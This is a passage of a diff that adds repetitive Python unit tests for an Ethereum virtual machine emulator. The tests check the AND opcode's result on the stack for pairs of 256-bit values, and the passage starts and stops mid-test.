+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_AND_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_AND_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_AND_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_AND_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301248L])
+
+    def test_AND_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_AND_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_AND_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_AND_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_AND_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_AND_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_AND_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_AND_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_AND_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_AND_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_AND_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_AND_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_AND_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_AND_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_AND_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_AND_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_AND_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_AND_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_AND_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_AND_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_AND_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
